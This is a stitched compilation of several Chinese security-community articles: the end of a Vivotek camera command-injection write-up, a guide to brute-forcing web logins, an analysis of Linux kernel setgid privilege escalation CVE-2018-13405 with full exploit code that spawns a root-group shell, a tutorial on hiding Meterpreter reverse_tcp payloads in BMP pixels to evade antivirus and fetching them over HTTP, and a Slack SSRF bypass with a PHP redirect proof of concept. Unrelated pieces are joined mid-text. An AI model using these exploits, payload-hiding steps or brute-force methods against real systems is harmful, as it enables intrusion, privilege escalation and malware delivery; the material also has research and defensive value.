`./arm-926ejs-linux-gnueabi-gcc --static -O2 /tmp/bindshell.c -o
/tmp/bindshell` 编译之后通过 FTP 传到摄像头的 /mnt/ramdisk 里（web 也有上传文件的接口），然后运行
### 总结
`/cgi-bin/admin/downloadMedias.cgi` 和 `/cgi-bin/admin/testserver.cgi`
都没有鉴权，只要能访问 web 服务，就可以成功利用。已经确认可以成功攻击的型号有 IB8369-VVTK-0102a 、FD8164-VVTK-0200b
、FD816BA-VVTK-010101 。从官网下载了十几份不同型号的最新固件进行分析，发现都存在这两个漏洞，可以推测应该是通用的。只要是用户手册有
“If your SMTP server requires a secure connection (SSL)”
这句话，就可以推断这个型号存在上文提到的命令注入漏洞。 **这两个漏洞可以影响绝大部分的 Vivotek 网络摄像头。**
_Update on June 24th:_ CVE-2017-9828 and CVE-2017-9829 have been assigned to
the vulnerabilities. | 社区文章 |
原文：<https://secapps.com/blog/2018/03/how-to-make-a-password-cracker>
长久以来，入侵远程计算机系统的工具和技术并没有发生翻天覆地的变化。例如，在许多情况下，普通用户只要知道了相关密码，就能立刻变身为管理员。虽然这些情形听起来不够曲折，但在大多数情况下，暴力攻击是通过利用密码管理缺陷来入侵系统的最简单实用的方法。
实际上，Web应用程序和Web服务很容易被密码暴力攻击所攻陷。之所以出现这种情况，是因为这种类型的软件相对容易访问，数量也很多，同时默认情况下允许远程使用，而且大部分都是自定义的，此外，它们还会随着层出不穷的Web技术而不断变化。在这篇文章中，我们将从实战的角度出发，介绍针对不同类型的Web应用程序的暴力攻击方法。与此同时，我们还将借助现成的免费网络安全工具，如[AppBandit攻击代理](https://secapps.com/appbandit
"AppBandit攻击代理")或某些在线[Fuzzer](https://secapps.com/market/fuzzer
"Fuzzer")来展示攻击过程。
**基本身份验证**
* * *
自万维网初期开始，[基本身份验证](https://en.wikipedia.org/wiki/Basic_access_authentication
"基本身份验证")及其变体（如[摘要认证](https://en.wikipedia.org/wiki/Digest_access_authentication
"摘要认证")，[NTLM](https://en.wikipedia.org/wiki/NT_LAN_Manager
"NTLM")等）就成为了事实上的认证标准。在实践中，人们很早就认识到基本身份验证方式并不太安全，但开发人员好像对它情有独钟，依旧乐此不倦地讲起应用于路由器管理界面、Web服务、管理界面等。该方案之所以流传甚广，原因之一就是因为它相对比较简单，因为整个身份验证方案仅靠一个特殊构造的头部就能得以实现，即利用该头部存放以base64格式编码的用户名和密码即可。
下面，让我们介绍针对基本身份验证的暴力攻击。为此，我们可以使用AppBandit的Fuzzer或其他在线Fuzzer，只要配置相应的参数就行了。首先，我们需要设置Authorization头部，然后添加基本身份验证信息，当然，这些都是专门针对这个特定任务而构建的。
对于用户名，为简单起见，这里将使用一个由已知帐户组成的列表。当然，我们也可以使用某些著名的数据库所提供的通用字典。
对于密码，我们可以使用字典。实际上，AppBandit和Fuzzer不仅可以使用自身的字典，同时，还可以下载并使用安全社区提供的各种字典文件。为此，可以从下拉菜单中添加一个字典项目，然后搜索“password”，即可找到由最常用的密码组成的列表，以及从以往著名的数据泄露事件中收集的实际密码所组成的列表。
暴力破解密码时，请务必将最大并行请求数设为60或更大，并将超时时间减少为5秒，以提高攻击性能。过了一会儿，我们就找到了正确的密码——密码可以从响应代码中看到，具体如下图所示。
**基于Pin的身份验证**
* * *
许多应用程序，尤其是移动应用程序会使用一种基于PIN的身份验证方法，即使用4至6位数字代码进行认证。此外，对于那些通过电子邮件或短信发送令牌而进行的双因子身份验证来说，也属于这种类型，因为该方案的实现大都存在安全漏洞。即便如此，人们还是经常误以为PIN提供的低熵是安全的。但是，实际上只要对Pin进行暴力猜解，无论是以顺序方式还是随机方式进行，都可以轻而易举的破解它。
下面，我们以一个假想的JSON服务为例，来演示如何实施这种攻击。首先，需要配置好请求报文，以使其符合该服务的要求。在Body选项卡中，我们需要对Pin生成器进行相应的编码处理。首先，使用JSON编码器来处理这个值。然后，使用一个格式项对它进行填充，使其长度符合Pin的长度要求。这些处理在后面是非常有用的。
在pad项中包含了一个简单的计数器，例如for循环。计数器从0开始，遍历到9999为止，步长为1。这里之所以使用这个pad项，是因为有效的Pin必须是4位数字。所以，需要用0覆盖所有不足四位的数字。当然，这种方法同样也可以用来处理6位和8位数字的Pin。
接下来，根据需要设置攻击选项——即增加并发请求数和减少超时。然后，执行攻击。需要注意的是，在前面针对基本认证的暴力攻击中，使用了一种基于状态代码的机制，破解成功与否一目了然；于此不同，要想知道针对基于Pin的身份认证的攻击尝试是否成功，还得在应用程序本身上下功夫，也就是说需要自己去试探。举例来说，可以监视内容长度的变化或状态码的变化，例如302重定向可能意味着验证成功。此外，还可以根据响应的返回时间对其进行分类，即时间试探法。当然，具体方式完全由读者自己来定，不过在原理上都是一致的——试探法。
上面的配置，也适用于基于表单的身份验证，甚至基本身份验证——唯一不同之处，就是根据具体情况将生成器移动到所需的地方即可，其余部分完全相同。
**基于表单的身份验证**
* * *
毫无疑问，基于表单的身份验证是网上最常见的身份验证方案。实际上，几乎所有PHP应用程序对于这个方案的实现都不太理想。如果正确的实现的话，基于表单的身份验证应该对自动化的密码猜测具有很强的“弹性”，但是说起来容易做起来难呀，毕竟现实中有太多的特殊情况，而这些都是需要给予特殊处理的。
在针对基于表单的身份验证进行暴力破解时，具体设置与基本身份验证示例中的类似。不过，这里没有使用Authorization头部，因为必须按照应用程序的具体情况来设置参数。首先，可以通过AppBandit代理或[HTTPView](https://secapps.com/market/httpview
"HTTPView")等工具捕获这些信息，注意，这些工具可以直接从浏览器中运行，而无需进行额外的设置。
在进行暴力破解时，脑子一定要灵光，特别是用户名是电子邮件的时候。例如，与其用大量密码来暴力破解一个账户，不如用一部分最常用的密码来暴力破解多个账户，同时，我们还可以动态生成帐户，就像我们接下来要做的那样。
下面，我们来为用户列表设置一个生成器。首先，我们可以定义一些变量，以提高攻击的可配置性。
如您所见，这里正在使用字典（大部分来自[seclists](https://github.com/danielmiessler/SecLists
"seclists")）。同时，我们还动态生成了电子邮件地址。实际上，我们可以在同一次攻击中使用多个字段。
现在，让我们向同一个列表中添加100个更常用的密码。在这里，我们使用了来自seclists的另一个字典，具体如下图所示。就像您看到的那样，这种做法不仅更有创意，也更高效。
攻击一旦开始，就需要密切关注任务的运行情况，努力寻找提示登陆成功的线索。当然，对于大多数响应来说，结果都是一样的。对于那些包含有效凭证的请求，可以按照我们前面介绍过的那些方法进行识别。然而，有时候您需要找到自己的识别方法。不过，大多数情况下，使用内置过滤器就足以应付了。例如，您可以过滤包含有效cookie的响应，因为一般来说，找到这样的响应就表示认证成功了。
**与身份验证有关注意事项**
* * *
从某种意义上来说，Web认证系统非常有（gao）趣（xiao）——它们永远不可能完美。这是因为，如果它们太安全，那么就根本无法访问了。反之，如果它们太容易访问，就不太可能是安全的。因此，在使用上述任何技术破解密码时，对于下面这些事项一定要做到心里有数。
在防范暴力破解方面，最常见防御机制就是帐户锁定，然而，在某些情况下，攻击者可以利用这种机制来发动拒绝服务攻击。例如，假设用户名是可猜测的或顺序的，并设置了帐户锁定。那么，如果我们在生成有效用户名方面具有很高的胜率，这就意味着我们也可以将这些人都锁定在系统之外，即拒绝服务攻击。尽管这种攻击威胁不是很大，但仍不失为一个有效的漏洞。
同时，水平和垂直暴力攻击之间的转换也是一种常见的技术。换句话说，我们可以针对多个帐户测试一个密码，而不是针对单个帐户尝试多个密码，因为我们可以枚举帐户或以高胜率的方式生成它们。
如果某些合法的身份认证尝试来自同一个IP地址的话，有的身份认证系统就会简单粗暴地将其锁定。后来，这些系统又通过设置一些例外情况来放宽了这一限制，因为毕竟IPv4地址空间是相对较小的，所以许多客户会共享同一个IP地址——例如，许多移动网络和光纤网络实际上都是这样运作的。所以，攻击者就可以入侵例外列表中的网络，或设法让应用程序误以为他们来自例外列表中的网络，这样就可以绕过帐户锁定限制了。
类似地，如果身份验证系统根据攻击者的IP地址来阻止IP或NETBLOCK的话，那么暴力破解攻击就可能转换为拒绝服务攻击，从而导致同一网络中的所有用户都无法登录。再次重申，这对于移动网络来说影响特别大，因为移动用户不太可能拥有专用的公共IP地址，所以移动应用程序特别容易受到这个问题的影响。
最后，不要仅仅因为页面上有reCAPTCHA就认为必须使用验证码，相反，很多时候它在那里只是个摆设而已。这是因为，reCAPTCHA或其他CAPTCHA系统通常都是嵌入式的，它们经常因配置错误或代码变化的缘故而不进行相关的检查，这种情况经常发生。
实际上，有时解除身份验证并不起作用，也就是说，虽然看起来用户已注销，但实际会话并未被破坏。这样的话，以前使用的会话可能被攻击者重新使用。然而，这个话题实在有点大，需要单独进行解释。在这里，重点是要知道，有时即使不知道密码也能登录，因为还有其他方法。
小结
攻击者可以通过多种方式来完成密码破解/暴力破解，就像前面所说的那样，这种攻击是非常普遍的。到目前为止，还没有找到能够完全抵御这种攻击的安全措施。坦率地说，只要我们有赖于密码，这种攻击就无法避免。毫无疑问，双因子认证方案能够提供更高的安全性，但我们也必须承认，它也不是万能的灵丹妙药，因为在某些情况下，它们照样可以被绕过。
在后续文章中，我们将针对暴力破解攻击方式，介绍一些目前可用的防御机制。 | 社区文章 |
# Linux 内核提权 CVE-2018-13405 分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**author：OK5y@GearTeam**
## 漏洞简介
Linux 内核在具有 setgid 权限的目录中创建文件时处理不当，导致可以创建具有 setgid
权限的空文件，随后通过巧妙利用系统调用可以随意更改文件内容，从而构造出具有 setgid 权限的可执行文件，实现越权。
## 背景知识
linux 下文件权限的设定对象可以分为 3
类：属主（owner）、属组（group）、其他人（other）。对于每一个对象又可以分出三种权限读、写、执行，分别对应 r、w、x。
对于文件而言，读属性（read）表示可以查看文件的内容，写属性（write）表示可以编辑、增加或者是修改文件的内容（不包含删除），执行属性（execute）表示用户可以执行该文件。对于目录而言，读属性（read）表示可以读取目录结构列表，写属性（write）表示可以对目录结构进行更改（创建、删除文件等），执行属性（execute）表示用户有权进入该目录。
除了这些操作权限之外，还有三种特殊权限，称为 Linux 的附加权限。包括 SET 位权限（SUID，SGID）和粘滞位权限（SBIT）。 SUID 和
SGID 作用于文件时的功能类似（SUID只能作用于文件，SGID可以作用于目录），当用户执行拥有
SUID（SGID）权限的文件时，执行期间，程序的属主（属组）变为该文件的属主（属组）。通过这种方式可以让没有特权的用户在需要执行需要特权的任务时，在程序运行期间短暂的拥有特权用户的权限。当目录拥有
SGID
权限时，用户在目录中的有效组变为该目录的属组，如果用户拥有写权限，则在目录中新建的文件时，文件的默认属组为该目录的属组。粘滞位主要作用于目录，当目录设置粘滞位后，即使用户拥有目录的写权限，也无法删除该目录中其他用户的文件数据。
Linux 支持多种不同的文件系统，为了实现这一目的，Linux 隐去各种文件系统之间的细节，抽象出了一个统一的、虚拟的文件系统 VFS（Virtual
File System）。VFS
将文件分成两部分，文件本身的属性，文件访问权限、大小、拥有者、创建时间、访问时间等与文件的数据分开，抽象出来存储在索引节点对象（inode）中。其中几个特殊值如下（include/linux/fs.h:579-680）：
struct inode {
umode_t i_mode;
...
kuid_t i_uid;
kgid_t i_gid;
...
const struct inode_operations *i_op;
struct super_block *i_sb;
...
}
其中 i_mode 保存的是文件的访问权限，i_uid、i_gid 则分别保存文件所有者的 UID 和 GID。i_op 指向 inode
的操作函数表（inode_operations 结构体，该结构体保存了所有针对 inode
的操作函数，include/linux/fs.h:1634-1668）。i_sb 指向了该 inode 相关的超级块。
struct inode_operations {
...
int (*readlink) (struct dentry *, char __user *,int);
void (*put_link) (struct inode *, void *);
int (*create) (struct inode *,struct dentry *, umode_t, bool);
...
}
## 漏洞分析
调试环境为 ubuntu 16.04，kernel 版本 4.4.0 漏洞发生在 fs/inode.c:inode_init_owner() 函数中。在使用
open 创建新文件时会调用这个函数。我们知道对目录拥有写权限，才可以在其中创建文件。所以创建文件的函数定义在针对目录的操作函数表中。在 ext4
文件系统中的定义如下（fs/ext4/namei.c:3831-3853）：
const struct inode_operations ext4_dir_inode_operations = {
.create = ext4_create,
...
};
ext4_create 的实现如下（fs/ext4/namei.c:2423-2462），该函数的主要功能就是为新创建的文件建立 inode。
/*
* By the time this is called, we already have created
* the directory cache entry for the new file, but it
* is so far negative - it has no inode.
...
*/
static int ext4_create(struct inode *dir, struct dentry *dentry, umode_t mode,
bool excl)
{
...
retry:
inode = ext4_new_inode_start_handle(dir, mode, &dentry->d_name, 0,
NULL, EXT4_HT_DIR, credits); // 创建 inode 的主要函数
...
}
ext4_new_inode_start_handle 是一个宏定义（fs/ext4/ext4.h:2398-2401）：
#define ext4_new_inode_start_handle(dir, mode, qstr, goal, owner, \
type, nblocks) \
__ext4_new_inode(NULL, (dir), (mode), (qstr), (goal), (owner), \
(type), __LINE__, (nblocks))
__ext4_new_inode 定义在 fs/ext4/ialloc.c:730-1136，是创建 inode 的主要函数。
struct inode *__ext4_new_inode(handle_t *handle, struct inode *dir,
umode_t mode, const struct qstr *qstr,
__u32 goal, uid_t *owner, int handle_type,
unsigned int line_no, int nblocks)
{
struct super_block *sb;
...
sb = dir->i_sb;
...
if (owner) {
inode->i_mode = mode;
i_uid_write(inode, owner[0]);
i_gid_write(inode, owner[1]);
} else if (test_opt(sb, GRPID)) {
inode->i_mode = mode;
inode->i_uid = current_fsuid();
inode->i_gid = dir->i_gid;
} else
inode_init_owner(inode, dir, mode);
...
}
其中 owner 来自于调用 ext4_new_inode_start_handle 时的第5个参数 NULL。test_opt
用来测试该文件系统的超级块信息（fs/ext4/ext4.h:1070-1071），判断文件系统挂载时的挂载标志，EXT4_MOUNT_GRPID
判断是否以目录的属组来创建文件，默认并未设置，所以会调用 inode_init_owner 函数。
#define test_opt(sb, opt) (EXT4_SB(sb)->s_mount_opt & \
EXT4_MOUNT_##opt)
来看一下 inode_init_owner 的实现：
/**
* inode_init_owner - Init uid,gid,mode for new inode according to posix standards
* @inode: New inode
* @dir: Directory inode
* @mode: mode of the new inode
*/
void inode_init_owner(struct inode *inode, const struct inode *dir,
umode_t mode)
{
inode->i_uid = current_fsuid();
if (dir && dir->i_mode & S_ISGID) {
inode->i_gid = dir->i_gid;
if (S_ISDIR(mode))
mode |= S_ISGID;
} else
inode->i_gid = current_fsgid();
inode->i_mode = mode;
}
EXPORT_SYMBOL(inode_init_owner);
该函数的主要作用是来初始化新建 inode 的 uid、gid 和 i_mode 属性，首先将 inode 的 uid 设置为进程
uid，随后如果目录设置了 SGID，则将 inode 的 gid 设置为目录的 gid。如果新建的 inode 为目录的话，会默认为 mode 添加上
SGID，并将其赋值给文件。但是对于文件则未作处理，所以如果初始 mode 即带有 SGID 权限的话，最终可以成功创建一个具有 SGID 权限的空文件。
调用栈如下图：
来看一下如下示例：
#include <fcntl.h>
void main(void) {
open("dir/file", O_RDONLY|O_CREAT, 02755);
}
运行结果如图所示，可以看到成功创建了一个0字节的 sgid 文件。
我们已经成功创建了一个空的 sgid 文件，但是这对我们而言，作用不大，接下来研究如何向该文件中写入数据。 如果使用 write
系统调用直接写入文件，虽然可以成功写入，但是 write 会触发 killpriv 机制，导致文件的 sgid 权限被去除。原因在于 write
在写入文件之前会调用 file_remove_privs，该函数会判断文件的特殊权限，如果文件拥有 suid 标志或者同时有 sgid 和写权限，函数会调用
__remove_privs 将这些权限去除。如下示例：
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(void) {
char *buf = "It's a test!\n";
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
write(fd, buf, strlen(buf));
close(fd);
}
运行结果如图：
可以使用 fallocate 和 mmap 系统调用实现我们的目的，首先调用 fallocate 扩大文件大小，随后调用 mmap
将其影射到进程地址空间。对 mmap 后文件的写操作不会清除文件的特殊权限。 完整利用如下：
// demo2.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
setresgid(0, 0, 0);
system("/bin/sh");
}
// fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
int main(void) {
int src_fd = open("/home/al3x/cve-2018-13405/demo2", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "", NULL);
err(1, "execl");
}
运行效果如下图所示：
## 补丁分析
漏洞补丁如下:
可以看到，在原有的基础上又加了添加了一条判断语句，如果符合则去除 S_ISGID 标志。 首先判断 mode 是否同时包含 GID 和组执行。随后调用
in_group_p 函数。该函数判断目录的属组是否在进程的文件系统或任何补充组中。最后调用 capable_wrt_inode_uidgid
检测当前进程是否设置了 CAP_FSETID 标志，同时检测目录的 uid 和 gid 是否映射到当前用户的命名空间中。CAP_FSETID
标志有两条作用：1. 当文件被编辑时不会去除其 suid 和 sgid 权限；2. 为 gid 与调用进程的文件系统或任何补充组都不匹配的文件设置 sgid
标志。 如果上述三条条件同时满足，则去除新建文件的 S_ISGID 标志
## 参考文献
[Linux/Ubuntu: other users’ coredumps can be read via setgid directory and
killpriv bypass](https://bugs.chromium.org/p/project-zero/issues/detail?id=1611)
[Linux内核写文件过程](http://ilinuxkernel.com/?p=1585)[Linux Programmer’s
Manual](http://man7.org/linux/man-pages/man7/capabilities.7.html) | 社区文章 |
# 【技术分享】通过BMP图像像素传输后门payload
##### 译文声明
本文是翻译文章，文章来源：linkedin.com
原文地址：<http://www.linkedin.com/pulse/transferring-backdoor-payloads-bmp-image-pixels-damon-mohammadbagher?trk=mp-reader-card>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ **华为未然实验室**](http://bobao.360.cn/member/contribute?uid=2794169747)
**预估稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在本文中，我将谈谈BMP文件，及如何使用位图文件传输数据或恶意软件有效载荷。通过图像传输或渗透数据的想法并不新鲜，那我为什么要谈论这方面的内容呢？因为这真的很危险，我还要谈谈关于该威胁的重要问题，比如，为何没人关心这个？
像往常一样，我要谈谈传输后门有效载荷，我们还可以测试绕过反病毒软件或IPS（入侵防御系统）/IDS（入侵检测系统）的威胁。
首先，我给大家展示一张简单的BMP图片。
从图1中可以看到，背景为黑色，上面是红线。现在告诉我：你看到这张图片中有什么问题吗？或有什么不合理之处吗？
图1
现在我来给大家展示这张图片中您可能没有看到的不合理点。
图2：图像像素背后的恶意软件有效载荷注入
现在大家可以看到我说的是哪儿了，现在我要谈谈这为什么危险，及其实现方法。
重要问题：
为什么通过图像传输有效载荷或数据是危险的？
1\. 因为没有人认为这是重要的威胁。
2\. 到目前为止，您是否曾通过防病毒软件扫描BMP文件？
3\. 您是否使用防病毒软件实时检测和实时扫描BMP文件？
4\. 这些防病毒软件能在多大程度上检测出该威胁？
5\. 当有人在目标网站或受感染的网站中发布了BMP文件时，如何能检测到该威胁？
6\. 可以使用该技术进行Web攻击吗？或可以使用该技术绕过WAF及从BMP文件读取有效载荷以进行Web攻击吗？
7\. 对于Web和网络中的渗漏，这是通过端口80或443传输有效载荷和数据的最佳方式之一，尤其是端口80，无论BMP文件中是否进行了有效载荷加密。
8\. 防火墙或IPS / IDS可以为此做什么，这些工具能在多大程度上检测出该技术？
9\.
如果我在本地为我的后门使用该技术及图中的加密有效载荷，那么谁可以通过何种方式检测出？或者，如果我通过分块BMP文件使用该技术，意思是将有效载荷分解到一个以上图片文件中，那么如何检测到？
**实现方法**
首先，我来通过简单的例子谈谈手工实现方式（无代码），随后我将发布该技术的C#代码，并将解释如何将我的工具用于该技术。
我们是要通过像素将有效载荷注入BMP图像文件（仅BMP格式）。
每个像素都有其颜色的RGB代码。在该技术中，我们应该将我们的有效载荷注入到每个像素的RGB代码，所有我们的步骤如下：
像素背后的代码
像素 1 = R(112) , G(255) , B(10)
像素2 = R(192) , G(34) , B(84)
像素3 = R(111) , G(0) , B(190)
现在我们获得RGB有效载荷：112,255,10,192,34,84,111,0,190
十进制 == 十六进制
112 == 70
255 == ff
10 == 0A
192 == C0
34 == 22
84 == 54
111 == 6F
0 == 00
190 == BE
所以我们的像素有Meterpreter有效载荷: 70FF0AC022546F00BE
所以我们的像素有Meterpreter有效载荷：70FF0AC022546F00BE
从图3可以看到，我们有十六进制和十进制，及每个像素的颜色。
图3
现在您已了解，对于注入方法，应改变BMP文件中的何处及如何改变。
以手工方式将Meterpreter有效载荷逐步注入BMP文件：
在这一部分，我要谈谈如何以手工方式逐步完成注入：
第1步：首先，您需要一个BMP文件，在Windows中，您需要使用MS Paint绘制一个。
注意：在Windows中只能通过MS Paint完成这些步骤。
从图4中可以看到，我们有一个700 * 2像素的空白BMP文件。
图4：700 * 2像素的BMP文件
现在我们有一个700 * 2像素的空白BMP文件，现在您可以以“24位位图”颜色格式保存此文件。
第2步：您应该在Kali linux中制作Meterpreter有效载荷，通过其中一个命令，您可以获得Meterpreter有效载荷：
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
第3步：现在您应该将您第2步中的有效载荷注入到第1步中制作的BMP文件中，kali
linux中通过hexeditor命令，Windows中通过“Hexeditor NEO”工具。
在图5中，您可以在更换有效载荷之前看到您在第1步中制作的BMP文件的hex editor NEO。
图5
在图6中可以看到，我们有3个像素带有这些有效载荷“70FF0A-C02254-6F00BE”
图6
现在您可以看到，当您想将这些有效载荷注入到图像（本例中为BMP）中时BMP中会发生什么。
为此，在该步骤中，您应该按图7所示在Kali linux中通过hexeditor命令编辑此BMP文件（第1步）。
此时，您应该使用工具Copy-Paste从“偏移36”到最后将Meterpreter有效载荷注入文件。偏移36是BMP头之后的第一个字节（BMP头是54字节），也就是图5中绿线部分。
注意：在更改BMP文件前，您应该将您的Meterpreter有效载荷从类型“0xfc”更改为“fc”，所以您的有效载荷应该如图9中的“Pay.txt”文件所示。（重要）
现在您应该从“Pay.txt”复制有效载荷字符串，然后粘贴到位图文件，从偏移36到最后，如图7和图8所示。
图7
可以看到，您的有效载荷从图7中的“FF48”开始，以图8中的“FFD5”结束。
图8
现在您可以保存该文件。
这些步骤之后，您将获得如图9所示的东西，现在您有一个带有注入的Meterpreter有效载荷的BMP文件。
图9
从图9中可以看到，我们的位图文件有更多像素。
对于Meterpreter有效载荷，我们需要多少像素？
如果我们有510字节的Meterpreter有效载荷，那么我们要有170个像素用于有效载荷。
510字节有效载荷 , 3个字节 1个像素: R + G + B ==> 1+1+1
510 / 3 = 170 像素
这就是MS Paint 中的0 …. 169像素，如图10所示。
图10
在制作此BMP文件之后，您需要代码从BMP文件中读取这些有效载荷。
我通过C＃编写了一个代码，用于从BMP文件读取Meterpreter有效载荷，及在内存中执行（如后门）。您还可以使用我的工具通过Meterpreter注入方法制作新的位图文件，通过该代码，您可以修改其他BMP文件以注入Meterpreter有效载荷。
使用“NativePayload_Image.exe”逐步执行BMP文件中的Meterpreter有效载荷：
第1步：如果要查看NativePayload_Image语法，您应该不作任何改动运行该代码，如图11所示：
图11
使用我的代码，您可以使用此语法为本地BMP文件获得非常简单的Meterpreter会话。
对于后门模式，使用该工具，您需要以下语法：
语法: NativePayload_Image.exe bitmap “filename.bmp” [Meterpreter_payload_Length] [Header_Length]
语法: NativePayload_Image.exe bitmap “filename.bmp” 510 54
注意: Meterpreter有效载荷长度为510 (由msfvenom工具使用 “-f C” 或 “-f num”制作)
注意: BMP Header长度始终是54
图12
从图12中可以看到，我获得了本地BMP文件的Meterpreter会话，“NewBitmaImge.bmp”是图9和图10中我的BMP文件。所以可以看到，我们可以通过“有效载荷注入方法”手工制作位图文件，如图9所示。还可以通过我的C＃代码在内存中执行位图文件的Meterpreter有效载荷，如图12所示。
在这种情况下，后门和BMP文件应该在同一个目录中，但是您也可以使用BMP文件的路径。
第2步：通过工具创建新的位图文件，并注入Meterpreter有效载荷
在这种情况下，您需要通过以下命令之一获得Meterpreter有效载荷：
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
注意：在此步骤中，您应该更改Msfvenom的输出有效负载，如图13所示。
注意：将“0xfc , 0x48 , 0x83”更改为“fc,48,83, …”
图13
如图14所示，您可以创建具有新的File_Name的位图文件。
图14
正确的语法是：
语法: NativePayload_Image.exe create “Newfilename.bmp” [Meterpreter_payload]
语法: NativePayload_Image.exe create “Newfilename.bmp” fc,48,83,....
第3步：修改BMP文件，以将Meterpreter有效载荷注入现有的BMP文件。
在这种情况下，您需要有效载荷，及一个用于添加或注入有效载荷的BMP文件，如图15所示。
图15
现在您应该使用此语法修改此文件。
语法: NativePayload_Image.exe modify “Existfilename.bmp” [header_length] [Meterpreter_payload]
语法: NativePayload_Image.exe modify “Existfilename.bmp” 54 fc,48,83,....
注意: BMP header长度始终是54。
图16
如图16所示，修改此文件后，我们可以在“300％缩放”后看到黑色背景中的Meterpreter有效载荷像素。
从下一张图中可以看到，这个修改后的BMP文件很有效。
此时，我要在网站中使用该BMP文件，以供通过HTTP流量下载，所以我们使用上一步中制作的“MyBMP_to_Modify.bmp”文件。我在Kali
linux中做了一个Web服务器，以供通过“Url”和HTTP流量下载该位图 文件。
第4步：通过“Url”和HTTP流量从网站下载BMP文件。
我们现在有了该“MyBMP_to_Modify.bmp”文件，我通过Python Web服务器通过“python -m
SimpleHTTPServer”在kali linux
web服务器中使用这个文件，最终我通过“HTTP流量”获得了Meterpreter会话，如图17所示。
通过Url下载BMP文件，我们的语法是：
语法: NativePayload_Image.exe url “Url” [Meterpreter_payload_Length] [Header_Length]
语法: NativePayload_Image.exe url "https://url.com/MyBMP_to_Modify.bmp" 510 54
图17
**总结**
这一技术并不新鲜，但我认为没有人关注这个威胁，但这真的危险。我们应该检查我们的防病毒软件是否面临此威胁，尤其是当有人在BMP文件中使用加密有效载荷时（大多数防病毒软件均无法检测到），或有人使用该技术时将有效载荷分块到一个以上BMP文件时（也很危险）。我认为默认情况下，大多数防病毒软件不实时扫描BMP扩展文件，我认为文件系统手动扫描也不能检测到BMP文件中的这个有效载荷。如果有人使用该技术进行数据的渗漏传输（无BMP文件中的后门有效载荷），那我们如何来防御？我们如何来检测该方法？现在就去检查一下您的防病毒软件吧！
C＃代码：<https://github.com/DamonMohammadbagher/NativePayload_Image> | 社区文章 |
在开始之前，对于任何从BugBounty开始的人来说，我有两个重要提示。
1：始终检查以前的报告，您可能知道在这种情况下可能有效的旁路，或者您可以学习新的东西。
2：如果您喜欢有关Bug Bounty或其他黑客相关内容的内容，请注册我的频道并关注新帖子。
### SLACK和SSRF：
[Slack](https://slack.com/about)是一个协作中心，它将合适的人员，信息和工具结合在一起，以完成工作。从财富100强公司到角落市场，全球数百万人使用Slack连接他们的团队，统一他们的系统，推动业务发展。
### 斜杠命令 Slash Commands
“api.slack.com中的SSRF，使用斜杠命令并绕过保护措施。”
您可以在[此处](https://get.slack.help/hc/en-us/articles/201259356-Comandos-de-barra-integrados)了解有关Slash Commands的更多信息：
“一些Slack功能，如”Integrations / Phabricator“和”Integration / Slash
Commands“允许用户提交将由后端服务器访问的URL。黑名单试图禁止访问内部资源（loopback，10.0.0.0 / 8,192.168.0.0 /
24，...）。可以使用“[::]”作为主机名绕过此黑名单。只有使用该向量才能到达绑定所有接口和支持IPv6的服务。“
Slack已禁用在Slash命令中注册IPV6地址的选项。
slacka：' 我为ipv6阻止创建了一个新问题，并与我们的工程师一起升级了案例。当我们有更新时，我会通知你。'
对他们来说，一个修复，对我来说，一个旁路。
为了绕过这种新的保护，我在PHP中使用了带有“Location”标题的重定向。
在您自己的域中：index.php
<?php
header("location: http://[::]:22/");
?>
location: <http://[::]:22/>
并保存。
转到你的Slack并输入/ youslash
试试我的服务器http：// hackerserver [。] com /
结果
:22
:25
7月13日 - 第一回应
7月18日 - Tri CC
于1月23日 - Slack以500美元的奖金奖励了elber。
在找到此绕过之后，我在Slack中寻找了更多漏洞，并找到了Event Subscriptions参数。
“在事件订阅参数中绕过SSRF保护。”
该漏洞出现在“事件订阅”参数中，其中：
“ Your app can subscribe to be notified of events in Slack (for example, when
a user adds a reaction or creates a file) at a URL you choose.”。
URL：<https://api.slack.com/apps/YOUAPPCODE/event-subscriptions?>
当我们添加不符合API标准的网站时，我们会收到以下消息：
Your request URL gave us a 500 error. Update your URL to receive a new request
and challenge value.
使用IPV6向量旁路[::]。
在我的host上，x.php有：
<?php
header("location: ".$_GET['u']);
?>
PoC:
<http://hacker.site/x.php/?u=http://%5B::%5D:22/>
Response:
SSH [::]:22
SMTP [::]:25
这份报告Slack被选为另一个SSRF的副本，我坚持说他们把我作为另一个报告的参与者。
我看到另一份报告与我的不同，所以我告诉团队他们可能是错的。
参考文献：
<https://hackerone.com/reports/61312>
（报告将于02/22在Hackerone上公开披露）
<https://hackerone.com/reports/381129>
<https://hackerone.com/reports/386292>
原文地址：<https://medium.com/@elberandre/1-000-ssrf-in-slack-7737935d3884> | 社区文章 |
# 一、远程执行命令方式及对应端口:
IPC$+AT 445
PSEXEC 445
